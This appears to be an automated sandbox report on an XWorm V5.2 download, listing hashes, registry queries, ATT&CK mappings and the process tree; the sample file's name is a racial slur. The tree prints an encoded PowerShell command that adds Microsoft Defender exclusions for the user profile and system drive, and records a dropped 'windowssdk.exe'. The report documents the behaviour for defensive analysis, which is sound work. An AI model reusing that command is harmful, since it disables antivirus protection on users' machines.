6a9e88310fa30efcdae78d716b2fa02f0ea7d77746945269f0e073b0d73264c6

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
07/06/2024, 18:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
negro.log
Size 615B
Sample240607-w7tababh6x
SHA256 6a9e88310fa30efcdae78d716b2fa02f0ea7d77746945269f0e073b0d73264c6
MD5 313a2e343f60bc02a484b7f8908bf9cf
SHA1 0ab9dc3018188cd65c088bfad9131e35d40e2614
SHA512 5bd71e3d8f3fcefc28f4bd73672ad103f89aeb36c78121fbaa2f7630f66573feb3dcf1348e14ec0e72258f4eeeff88e199efc6ab0629d2973b4a83519a1a3f62
MD5 SHA1 SHA512

Score

7^/10

execution upx

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
5848	XWorm V5.2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000023531-481.dat	upx

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5924	powershell.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000_Classes\Local Settings	firefox.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\XWorm_V5.2.zip:Zone.Identifier	firefox.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
704	NOTEPAD.EXE

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3744	firefox.exe
Token: SeDebugPrivilege	3744	firefox.exe
Token: SeDebugPrivilege	3744	firefox.exe
Token: SeRestorePrivilege	2368	7zG.exe
Token: 35	2368	7zG.exe
Token: SeSecurityPrivilege	2368	7zG.exe
Token: SeSecurityPrivilege	2368	7zG.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
3744	firefox.exe
3744	firefox.exe
3744	firefox.exe
3744	firefox.exe
3744	firefox.exe
2368	7zG.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
3744	firefox.exe
3744	firefox.exe
3744	firefox.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
3744	firefox.exe
3744	firefox.exe
3744	firefox.exe
3744	firefox.exe
3744	firefox.exe
3744	firefox.exe
3744	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 4500 wrote to memory of 3744	4500	firefox.exe	96
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 3308	3744	firefox.exe	97
PID 3744 wrote to memory of 4268	3744	firefox.exe	98
PID 3744 wrote to memory of 4268	3744	firefox.exe	98
PID 3744 wrote to memory of 4268	3744	firefox.exe	98
PID 3744 wrote to memory of 4268	3744	firefox.exe	98
PID 3744 wrote to memory of 4268	3744	firefox.exe	98
PID 3744 wrote to memory of 4268	3744	firefox.exe	98
PID 3744 wrote to memory of 4268	3744	firefox.exe	98
PID 3744 wrote to memory of 4268	3744	firefox.exe	98
PID 3744 wrote to memory of 4268	3744	firefox.exe	98
PID 3744 wrote to memory of 4268	3744	firefox.exe	98

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\NOTEPAD.EXE
C:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\negro.log
1⤵
- Opens file in notepad (likely ransom note)
PID:704

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4500
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3744
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.0.1831891898\1451045250" -parentBuildID 20230214051806 -prefsHandle 1772 -prefMapHandle 1764 -prefsLen 22076 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b1fe462d-b927-491e-8287-863bbbf8f49d} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 1852 1f6a8bc5458 gpu
    3⤵
    PID:3308
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.1.995429088\975082832" -parentBuildID 20230214051806 -prefsHandle 2408 -prefMapHandle 2396 -prefsLen 22112 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {22861f4a-ba2f-44ff-8887-3d66a05f5b6d} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 2420 1f69bd89958 socket
    3⤵
    PID:4268
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.2.204371631\179163520" -childID 1 -isForBrowser -prefsHandle 2976 -prefMapHandle 2972 -prefsLen 22150 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d91a12e0-bff5-49cd-83b0-64d81671abf4} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 2988 1f6ab2e4558 tab
    3⤵
    PID:676
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.3.1447678055\1314797876" -childID 2 -isForBrowser -prefsHandle 4272 -prefMapHandle 4212 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {69c9dc05-190f-49f6-b27d-72b54dd1e144} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 4256 1f6adcefe58 tab
    3⤵
    PID:4660
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.4.254973126\1413294662" -childID 3 -isForBrowser -prefsHandle 5132 -prefMapHandle 5128 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f7ff975f-c68d-4fbd-9daf-e522c08ea4d7} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 5140 1f6afd76358 tab
    3⤵
    PID:4716
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.5.429329231\647358866" -childID 4 -isForBrowser -prefsHandle 5316 -prefMapHandle 5264 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ac5aae1c-6089-4efe-83c2-522da67181eb} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 5300 1f6afd76f58 tab
    3⤵
    PID:1008
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.6.726803390\1422578134" -childID 5 -isForBrowser -prefsHandle 5480 -prefMapHandle 5488 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {28715051-b908-4ca7-88c9-df9c1404b26c} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 5472 1f6afd75458 tab
    3⤵
    PID:2900
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.7.1991227929\1372859426" -childID 6 -isForBrowser -prefsHandle 5780 -prefMapHandle 5772 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {43b291e0-70d1-4386-9c49-78ba7c3c2bb2} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 5788 1f6b163e458 tab
    3⤵
    PID:1236
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.8.1160918214\499711552" -childID 7 -isForBrowser -prefsHandle 9904 -prefMapHandle 9908 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {dca6ddb5-62ba-41c4-93f7-1757736ac9ed} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 9916 1f6af60bf58 tab
    3⤵
    PID:1340
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.9.1228571532\1846282887" -childID 8 -isForBrowser -prefsHandle 9560 -prefMapHandle 9572 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8db785e5-dc6e-4ec1-92ed-165028b01541} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 9584 1f6b014b258 tab
    3⤵
    PID:536
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.10.581811404\873775835" -childID 9 -isForBrowser -prefsHandle 9412 -prefMapHandle 9416 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f69e7305-4bad-4492-baf7-85f4677b9700} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 9636 1f6b1359d58 tab
    3⤵
    PID:3288
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="3744.11.1504678562\1411194600" -childID 10 -isForBrowser -prefsHandle 9268 -prefMapHandle 9264 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1316 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {37984b98-081d-45c9-8185-51ff3b73acad} 3744 "\\.\pipe\gecko-crash-server-pipe.3744" 9276 1f6b1404a58 tab
    3⤵
    PID:3568

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:2684

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\XWorm_V5.2\" -spe -an -ai#7zMap8501:82:7zEvent4683
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2368

C:\Users\Admin\Downloads\XWorm_V5.2\XWorm V5.2.exe
"C:\Users\Admin\Downloads\XWorm_V5.2\XWorm V5.2.exe"
1⤵
- Executes dropped EXE
PID:5848
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAbAB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGEAeABmACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGQAdQBlACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHAAYQB4ACMAPgA="
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5924
- C:\Windows\windowssdk.exe
  "C:\Windows\windowssdk.exe"
  2⤵
  PID:5980

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

activity-stream.discovery_stream.json.tmp

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\ntkangc5.default-release\activity-stream.discovery_stream.json.tmp
Size 27KB
SHA256 2abb3ab864100dccb31f68ce95675e75ecad85528731d1c21ab73dc07b1bbc5a
MD5 2fa75e3c49e4f50bf085db50e8b027b1
SHA1 05944e69457360288a24c06fc8d150a9c0635354
SHA512 66168825d89dbee2aa838c449efd124b26e1b0eedf842a2338eb032b057dbba1e4c69f0636722f98b17bb72ff050d11a414d3591f1d41bd4ef9841f3310e7832
SSDEEP 384:rv4HexSqUgEjuofncDfg7JkiQcmaWMKziOITShd25NlUPAWY6CFyauz3tqNYqNrb:rvOePU1Mg7fuBzi6hylh/ydz3w5rb
MD5 SHA1 SHA512 SSDEEP

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ntkangc5.default-release\prefs-1.js
Size 7KB
SHA256 4ff4500b3082d60d3df6296f9c3ef1cf40ef9843b37db454d136c08eecb72d96
MD5 30c59499337e4717454802619d622696
SHA1 aba26bcdb17fd39cb7b026154dc8e0a6de2b8563
SHA512 5dcb303ea8d674cbd86b98d06d93296c7eabdc0732ac5de2593660c6fb866bea3592a12dc6830d8f54a5f615a54f8103dfa27a45329ac47eaa1c9f4c59b42f35
SSDEEP 96:xHEHqnUTU+PqGqZfAwWLHzSL0XlnBOj03I2HjURaBw8Hc92DSo:qqnOCRZfAw+W0XbT3IYjAaBw8Hc9YSo
MD5 SHA1 SHA512 SSDEEP

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ntkangc5.default-release\sessionstore-backups\recovery.jsonlz4
Size 5KB
SHA256 f86e52518fed7803a5d6df68515158173192f92835f7b4371af72383e6acbcd9
MD5 de007df9a8b3737eead2d77927f01512
SHA1 a98ab54eb2b8d9e42d2f5eeede846d10b87828c4
SHA512 0c52e817e1426ec7e7661589040fc5eb262dae956d1a8be416cbea81b4ee1ff3bf8f8157037e1723f26ceb352702ea2189b461b0af47a7ab67842ab5bfe0e919
SSDEEP 96:i0+evUG4LFIN0gpFx2MPTv0sIPrRKfNu0Dw+8kxyFKPttdoVt2UwQkLcWoeHMNR5:HsL220mIXm+bEUzdEas9
MD5 SHA1 SHA512 SSDEEP

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ntkangc5.default-release\sessionstore-backups\recovery.jsonlz4
Size 6KB
SHA256 b323772e2f7a2b33f2d9355742712abeb220e24be74ac45468dcabc929b4d363
MD5 99f18e93ec89151c8d5556f8b1286de6
SHA1 3b1fb16443bd5546af64420f13f9037c2c124084
SHA512 6e44f0ee8a26fdb74d0d2a246138e43870a16a088bb863056c648bccf6ff975466f762fc0e72574fc3538ffb81e017509586a4ff129769716842b30e99da316b
SSDEEP 96:90+e+7mSULnEaecj5FIN0gpFx2iPbv0sIPrRsfNu0Dw+8kxyFKPttdoVt2UwQkLH:lSzL3ecj5220myVm+bEUzdEPpLW
MD5 SHA1 SHA512 SSDEEP

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ntkangc5.default-release\sessionstore-backups\recovery.jsonlz4
Size 6KB
SHA256 995c6db5cd98abcd04c6c022c4f313e5da4cde376674f7fd07c8ba196421c542
MD5 8b1e15979cfab4faa45bf24b5252af45
SHA1 a96b4bc90b8283d48cdcc8f4a8ee03eb47c64376
SHA512 0654f95e3db8951b9c933dc43d619783ddd95696cdb7e8f40cb2c60b9ac826813f84cfc5fc909c4f65eae471c4a42fe8d21dbe2157d0d621e70778b0f1b91dd8
SSDEEP 96:90+e+7mSULnEaQcj5FIN0gpFx2iPbv0sIPrRsfNu0Dw+8kxyFKPttdoVt2UwQkLk:lSzL3Qcj5220myVm+bEUzdEPHLD
MD5 SHA1 SHA512 SSDEEP

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\ntkangc5.default-release\sessionstore-backups\recovery.jsonlz4
Size 1KB
SHA256 cee4c28edbe886e68446231c90080485e8d3f6776bab915298d172b6da2fbbd3
MD5 043f4c0fffb1653c097d3c228c0e3b8b
SHA1 121dfc0120ffa22558e1adfd48a62c901c4f5096
SHA512 2b0c33f5a6417528e19e4a1be03fdf36c3b21931d8cbc3c82716215024bdbd16d4076f3ba6d62213a6a3c08bb4151fcf5401c379c8c87bb4c397b40a661381ce
MD5 SHA1 SHA512

Submit Download

XWorm_V5.2.zip

Path C:\Users\Admin\Downloads\XWorm_V5.2.zip
Size 37.6MB
SHA256 d32f12b525ee503bfbc0142b601ef74b8af84736270e145e936761228ca5b2f4
MD5 95f30e0d272aa34110ddeb093c8ab35c
SHA1 cc5c45a4f0cbb172de7e3ff2ab9242a5c667ba28
SHA512 133a2c2afc52bef44ccb64b0c2db3fe6ef7ad2c6f76dcf6ae171f906b06add9a0feec0c4f4b1aa4e43867fa2557e61b91e4653daa95f69a31ed275744ae99ae6
SSDEEP 786432:9yK7XDBYQwS01ufakpsPAY7FbK4vfcVoxDJAe3D/73caICKhZfnMea:T7XDBYlRWBsPA2FKID2A0aICKjfM5
MD5 SHA1 SHA512 SSDEEP

Submit Download

icon (15).ico

Path C:\Users\Admin\Downloads\XWorm_V5.2\Icons\icon (15).ico
Size 361KB
SHA256 b2f57a23ecc789c1bbf6037ac0825bf98babc7bf0c5d438af5e2767a27a79188
MD5 e3143e8c70427a56dac73a808cba0c79
SHA1 63556c7ad9e778d5bd9092f834b5cc751e419d16
SHA512 74e0f4b55625df86a87b9315e4007be8e05bbecca4346a6ea06ef5b1528acb5a8bb636ef3e599a3820dbddcf69563a0a22e2c1062c965544fd75ec96fd9803fc
SSDEEP 768:0nnnnnnnnnnnnnnnnnnnnnnnQInU2/gohN/yRUZZZZZZZZZZZaaa0KaaILjeuFgZ:Rkccckccccct
MD5 SHA1 SHA512 SSDEEP

Submit Download

XWorm V5.2.exe

Path C:\Users\Admin\Downloads\XWorm_V5.2\XWorm V5.2.exe
Size 1.9MB
SHA256 9236ad5a93e8d7d53e154d41a00f7b128967e8262a1c509a154a9fbcf2ca15ad
MD5 7c1f72009562f526d6ce634fee29ff62
SHA1 e040244ebd91747f991dc3ba566f2a282b4cda15
SHA512 499a95619ee41c5c77f4cae8ea906e23d8489e7331729d26f2a51b9bfa77cc8b69abf2ac9a0e2ab4381835230c9e851d239f6e30f004ffd6b74c45a2dc37bb5c
SSDEEP 49152:1ZQUnIuVG4UQ+/XtjmMF/HNev4aMZMXEf8WqvfbZ1LcShiVT:BnIuVG4W/ThacmU8jvLgt
MD5 SHA1 SHA512 SSDEEP

Submit Download

XWorm_V5.vUTGk8qo.2.zip.part

Path C:\Users\Admin\Downloads\XWorm_V5.vUTGk8qo.2.zip.part
Size 7KB
SHA256 8480072c7262c8d2360d44931c599c3f9ebb656ea17910e139430ddb43f6b380
MD5 a2152787fac0c933681d4a8cc0dfa633
SHA1 72c3df115da86b06305f565936a09ec847e5385a
SHA512 b0e4cec1a57bdae8be3a2f73e88f1f8fb1746e57490ce1055e497131e916e12f2addf4a5849b511bd8f7f10604ff2d3dc37f04cb93218d1e772b3efa5e37cc9f
SSDEEP 192:hSWhXcwy7ZJBnFFT0Bu4KoddzTvDMtTR8Gf4SIXhce:IUy7ZJBFmBhdXDMFcSIhce
MD5 SHA1 SHA512 SSDEEP

Submit Download

windowssdk.exe

Path C:\Windows\windowssdk.exe
Size 275KB
SHA256 e690896dfb04b28022adda322c7d4b698f97f46b0640fec363d953d4e9091f57
MD5 a6f4d6b3d009fc0c21b2ab2e7ff65e79
SHA1 d7f258206a9688e42d7fec4adb7e6c051e6ae0d8
SHA512 c3f7ad7fa4c50049d3528c8c43c3ea64dc58a40479e9db40a54a6f84982e2dc0dbbfb4582b243817d66a1aea4dfc5cb049f958c3a7468ef14068be434ad49e3f
SSDEEP 6144:w3DXDkq7RQaEvb+fM/4nDCNwj3U05mBnZJOY6wURWfybC:afkq7Ryj+Mijj3UZBn7OU
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads